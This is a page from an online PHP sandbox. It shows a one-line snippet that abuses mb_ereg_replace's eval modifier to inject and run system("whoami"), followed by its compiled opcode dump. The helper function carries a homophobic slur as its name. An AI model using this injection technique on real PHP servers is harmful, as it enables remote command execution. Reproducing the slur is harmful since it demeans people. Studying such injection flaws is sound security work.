3v4l.org

run code in 300+ PHP versions simultaneously
<?php function slappafag() {} //$str = ; mb_ereg_replace('^(.*)$', 'slappafag(\'\1\')', '\', system("whoami"), \'', 'e');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/vMKkJ
function name:  (null)
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   INIT_FCALL                                               'mb_ereg_replace'
          1        SEND_VAL                                                 '%5E%28.%2A%29%24'
          2        SEND_VAL                                                 'slappafag%28%27%5C1%27%29'
          3        SEND_VAL                                                 '%27%2C+system%28%22whoami%22%29%2C+%27'
          4        SEND_VAL                                                 'e'
          5        DO_ICALL                                                 
          6      > RETURN                                                   1

Function slappafag:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/vMKkJ
function name:  slappafag
number of ops:  1
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E > > RETURN                                                   null

End of function slappafag

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.65 ms | 1394 KiB | 15 Q